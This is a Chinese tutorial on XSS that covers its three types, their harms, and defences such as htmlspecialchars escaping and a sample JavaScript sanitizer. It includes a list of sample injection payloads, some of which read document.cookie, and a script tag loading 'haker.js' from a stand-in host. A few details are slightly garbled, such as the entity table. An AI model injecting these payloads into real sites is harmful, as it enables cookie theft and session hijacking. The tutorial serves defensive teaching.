了解与防御XSS攻击

一. XSS是什么

XSS攻击全称跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。“XSS本质是在于执行脚本(javascript/html等),而一个javascript就可以让你黑遍整个世界”。

二. XSS的危害

  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  • 其它安全问题

三.XSS的分类

XSS分为反射型,存储型和DOM型。

(1)

反射型 XSS :

用户在页面输入框中输入数据,通过 get 或者 post 方法向服务器端传递数据,输入的数据一般是放在 URL 的 query string 中,或者是 form 表单中,如果服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常较小,但是某些反射型 XSS 还是会造成严重后果的。 通常通过构造一个包含 XSS 代码的 URL,诱导用户点击链接,触发 XSS 代码,达到劫持访问、获取 cookies 的目的。

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。

攻击步骤:

1.攻击者构造出特殊的 URL,其中包含恶意代码。

2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。

3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

(2)

 

存储型XSS:

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

攻击步骤:

1.攻击者将恶意代码提交到目标网站的数据库中。

2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。

3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

(3)

DOM型:

DOM 是一个树形结构,我们可以通过写 js 代码来修改节点,对象和值。DOM XSS 简单理解就是它的输出点在 DOM 。XSS 代码可能是插入简单的<script src="https://test.com/haker.js">,载入第三方的恶意脚本,这些恶意脚本,通常是读取用户的 cookie 。

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

攻击步骤:

1.攻击者构造出特殊的 URL,其中包含恶意代码。

2.用户打开带有恶意代码的 URL。

3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

四.常见的XSS攻击方式

(1)<script>alert('XSS')</script>   最普通的XSS

(2)<script>alert(document.cookie)</script>  获取cookie

   (3)   <img src ="javascript:alert('XSS')">    img链接地址xss

   (4)   <script src='ls.js'></script>    外部攻击代码

   (5)   <script>alert/*注释*/('XSS')</script>    注释方法防止过滤

   (6)   <img src = ' ' οnerrοr=alert('XSS')>    加载图像失败执行

   (7)   <iframe onload = alert('XSS')>    框架

   (8)   <script>location = 'baidu.com';</script>    跳转某页面

   (9)   <a href ="javascript:alert('XSS')"></a>   a链接的xss

   (10)  body{bockground-image:url(javascript:alert('XSS'))}   在css样式中加入

五.防御方法

以我之前的一个简单留言板作为示例

 

每次打开打开这个页面都会弹出这个alert。这种XSS攻击为存储型 ,那需要怎样预防呢?

1. 转义HTML

php有内置的方法:

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &amp;
  • " (双引号)成为 &quot;
  • ' (单引号)成为 N/A
  • < (小于)成为 &lt;
  • > (大于)成为 >&gt;

在代码中加入第二行就可以啦

$messcontent = $_POST['mescontent'];
$messcontent = htmlspecialchars($messcontent);

 然后会出现报错,不会出现XSS攻击。

 

 <script>alert('XSS')</script> 已经被htmlspecialchars()转换成 &lt;script&gt;alert(/XSS/)&lt;script&gt;

 

2.纯前端渲染

纯前端渲染的过程:

1.浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。

2.然后浏览器执行 HTML 中的 JavaScript。

3.JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

3.预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

4.输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

 

5.对用户输入数据的处理

  1. 编码:不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
  2. 解码:原样显示内容的时候必须解码,不然显示不到内容了。
  3. 过滤:把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户上传的DOM属性,如onerror,移除用户上传的Style节点,iframe, script节点等。

通过一个例子讲解一下如何处理用户输入的数据。

实现原理如下:

  1. 存在一个parse函数,对输入的数据进行处理,返回处理之后的数据
  2. 对输入的数据(如DOM节点)进行解码(使用第三方库 he.js)
  3. 过滤掉一些元素有危害的元素节点与属性节点。如script标签,onerror事件等。(使用第三方库HTMLParser.js)

 

<script src='/javascripts/htmlparse.js'></script>
<script src='/javascripts/he.js'></script>
// 第三方库资源在文章底部给出// parse函数实现如下function parse (str) {// str假如为某个DOM字符串// 1. result为处理之后的DOM节点let result = ''// 2. 解码let decode = he.unescape(str, {strict: true})HTMLParser(decode, {start (tag, attrs, unary) {// 3. 过滤常见危险的标签if (tag === 'script' || tag === 'img' || tag === 'link' || tag === 'style' || tag === 'iframe' || tag === 'frame') returnresult += `<${tag}`for (let i = 0; i < attrs.length; i++) {let name = (attrs[i].name).toLowerCase()let value = attrs[i].escaped// 3. 过滤掉危险的style属性和js事件if (name === 'style' || name === 'href' || name === 'src' || ~name.indexOf('on')) continueresult += ` ${name}=${value}`}result += `${unary ? ' /' : ''} >`},chars (text) {result += text},comment (text) {result += `<!-- ${text} -->`},end (tag) {result += `</${tag}>`}})return result}

因此,有了以上的parse函数之后,就可以避免大部分的xss攻击了。

稍微总结一下

  1. 一旦在DOM解析过程成出现不在预期内的改变(JS代码执行或样式大量变化时),就可能发生XSS攻击
  2. XSS分为反射型XSS,存储型XSS和DOM XSS
  3. 反射型XSS是在将XSS代码放在URL中,将参数提交到服务器。服务器解析后响应,在响应结果中存在XSS代码,最终通过浏览器解析执行。
  4. 存储型XSS是将XSS代码存储到服务端(数据库、内存、文件系统等),在下次请求同一个页面时就不需要带上XSS代码了,而是从服务器读取。
  5. DOM XSS的发生主要是在JS中使用eval造成的,所以应当避免使用eval语句。
  6. XSS危害有盗取用户cookie,通过JS或CSS改变样式,DDos造成正常用户无法得到服务器响应。
  7. XSS代码的预防主要通过对数据解码,再过滤掉危险标签、属性和事件等。

 

 

6.其他安全措施

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

验证码:防止脚本冒充用户提交危险操作。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/553880.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

win7窗口颜色没有透明的解决方法

win7的个性化中可以将窗口颜色设置为透明能够让我们的界面视觉效果更加美观舒适。但是有的朋友反映他的win7窗口颜色中没有透明&#xff0c;win7窗口颜色没有透明怎么开启?其实透明效果不是颜色&#xff0c;需要勾选透明选项框才可以开启&#xff0c;下面就一起来看一下win7窗…

BS架构和CS架构的优缺点

1、CS、BS架构定义 CS&#xff08;Client/Server&#xff09;&#xff1a;客户端----服务器结构。C/S结构在技术上很成熟&#xff0c;它的主要特点是交互性强、具有安全的存取模式、网络通信量低、响应速度快、利于处理大量数据。因为客户端要负责绝大多数的业务逻辑和UI展示&a…

Win7怎么设置文件共享 Win7共享设置方法

在Win7中&#xff0c;我们通常可以使用文件共享功能&#xff0c;以此就能轻轻松松的访问对方电脑上的共享文件&#xff0c;实现资源的充分利用&#xff0c;尤其对于处于同一局域网中的用户&#xff0c;通过设置共享文件夹来实现资源共享是最基本的方式。那么&#xff0c;Win7怎…

webService、webSocket、socket、http之间的区别

HTTP HTTP 是基于请求响应式的&#xff0c;即通信只能由客户端发起&#xff0c;服务端做出响应&#xff0c;无状态&#xff0c;无连接。 无状态&#xff1a;每次连接只处理一个请求&#xff0c;请求结束后断开连接。 无连接&#xff1a;对于事务处理没有记忆能力&#xff0c;服…

win7内存占用过高怎么处理

电脑的内存空间取决了电脑的运行流畅度&#xff0c;时间一久内存就会爆满导致占用过高这样就会使电脑变得延迟&#xff0c;那么win7内存占用过高怎么处理呢?下面就一起来看看解决方法吧。 win7内存占用过高怎么处理&#xff1a; 方法一、禁用自动更新 1、点击“开始”打开“…

OSI七层模型传输过程的通俗理解

转自&#xff1a;http://bbs.clnchina.com.cn/thread-1250443-1-1.html 1.OSI七层模型划分。 从上到下依次是&#xff1a;应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。 分层功能应用层网络服务与最终用户的一个接口&#xff08;可理解为人机交互界面&#xf…

谷歌浏览器怎么设置中文

谷歌浏览器是当下最受欢迎的面向全世界用户开源的搜索浏览器&#xff0c;所以有很多不同语言的版本&#xff0c;对于用户来说&#xff0c;其他语言版本的谷歌浏览器要怎么设置成自己看得懂的中文版本呢?简单几个步骤分享给大家。 谷歌浏览器怎么设置中文 1、首先打开谷歌浏览…

软件开发之常见前端安全漏洞

原标题&#xff1a;软件开发之常见前端安全漏洞 软件开发完成后&#xff0c;在Web服务器在投入使用之前&#xff0c;应该确保服务器是相对安全地。保证服务器相对安全地前提是&#xff0c;要充分了解影响Web系统安全。 1、跨站脚本&#xff08;XSS&#xff09;漏洞跨站脚本攻击…

win7系统5分钟就会自动注销的解决教程

我们在电脑使用的过程中&#xff0c;有时候会遇到过5分钟就自动注销的情况。一般来说都是因为电脑中了病毒&#xff0c;启动程序遭到了恶意修改&#xff0c;或者系统启动文件因为某些操作删除或损坏了&#xff0c;就此问题&#xff0c;下面小编介绍win7系统5分钟就会自动注销的…

win7窗口颜色没有透明的开启教程

win7的个性化中可以将窗口颜色设置为透明能够让我们的界面视觉效果更加美观舒适。但是有的朋友反映他的win7窗口颜色中没有透明&#xff0c;win7窗口颜色没有透明怎么开启?其实透明效果不是颜色&#xff0c;需要勾选透明选项框才可以开启&#xff0c;下面就一起来看一下win7窗…

Eclipse中的快捷键

熟悉 Ecplise的 快捷键可以帮助开发事半功倍&#xff0c;节省更多的时间来用于做有意义的事情。 编辑类快捷键 按键作用Ctrl1快速修复&#xff08;最经典的快捷键&#xff0c;可以解决很多问题&#xff0c;比如 import 类、try catch 包围等&#xff09;CtrlShiftF格式化当前代…

Win10如何设置IE为默认浏览器

Win10如何设置IE为默认浏览器?很多朋友可能还不知道&#xff0c;下面2345软件大全小编给你分享下解决办法。 Win10如何设置IE为默认浏览器 第一步&#xff1a;首先打开Win10控制面板&#xff0c;然后再点击进入“程序”&#xff0c;如图所示。 Win10如何设置IE为默认浏览器…

修改el-popover和el-select样式

如图el-popover弹框和el-select下拉项的的容器是div#app之外的&#xff0c;所以在scoped作用域内使用>>>或/deep/修改样式无效。虽然可以使用全局样式修改&#xff0c;但是会造成所有页面组件样式改变。 1、修改el-select选项样式的解决办法&#xff1a; Popper-appen…

UC浏览器设置允许访问剪贴板网址的方法

uc浏览器是一个大家都很喜欢使用的搜索服务软件&#xff0c;很多用户都会使用这款软件进行搜索&#xff0c;还有很多用户会使用这款软件进行搜索&#xff0c;用户可以将自己想要的网址粘贴在页面上&#xff0c;方便用户进行搜索使用&#xff0c;用户在使用UC浏览器的时候会发现…

Echarts图表插件资源

https://www.makeapie.com/explore.html

win7旗舰版太卡怎么办

相信不少小伙伴在使用win7旗舰版系统久之后都容易遇到win7旗舰版太卡的问题&#xff0c;比较影响我们系统的正常使用。那么win7旗舰版太卡怎么办?怎么解决win7旗舰版卡的问题?下面小编就教下大家win7旗舰版太快的解决方法。 win7旗舰版太卡怎么办 方法一&#xff1a;如果是…

自定义的全局公共样式

/* by zuoluo 2021-08-06 *//* 全局padding、border、margin、font设置 */html, body, div, span, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, a, address, em, img, ol, ul, li, fieldset, form, label, legend, table, tbody, tfoot, thead, tr, th, td, i, b, s {mar…

windows7电脑删除文件特别慢怎么回事

在使用电脑的过程中&#xff0c;我们经常需要给电脑清理文件释放些内存空间&#xff0c;提高电脑的运行速度。不过有网友说自己的win7电脑删除文件特别慢&#xff0c;删除文件要很久的问题&#xff0c;windows7电脑删除文件特别慢怎么回事?删除文件比较慢的原因可能是系统某些…

React和Vue的Chrome扩展工具安装

1、vue--devtools简单安装教程 https://blog.csdn.net/weixin_43941029/article/details/105867585 2、react-devtools简单安装教程 https://blog.csdn.net/weixin_41217541/article/details/105686676

windows7电脑怎么永久关闭广告

windows7电脑怎么永久关闭广告?一些用户在使用win7电脑的时候发现电脑浏览器网页右下角经常弹出烦人的广告窗口&#xff0c;影响到自己的使用&#xff0c;下面就和大家讲讲windows7电脑永久关闭广告的方法&#xff0c;感兴趣的用户请来看看吧。 windows7电脑怎么永久关闭广告…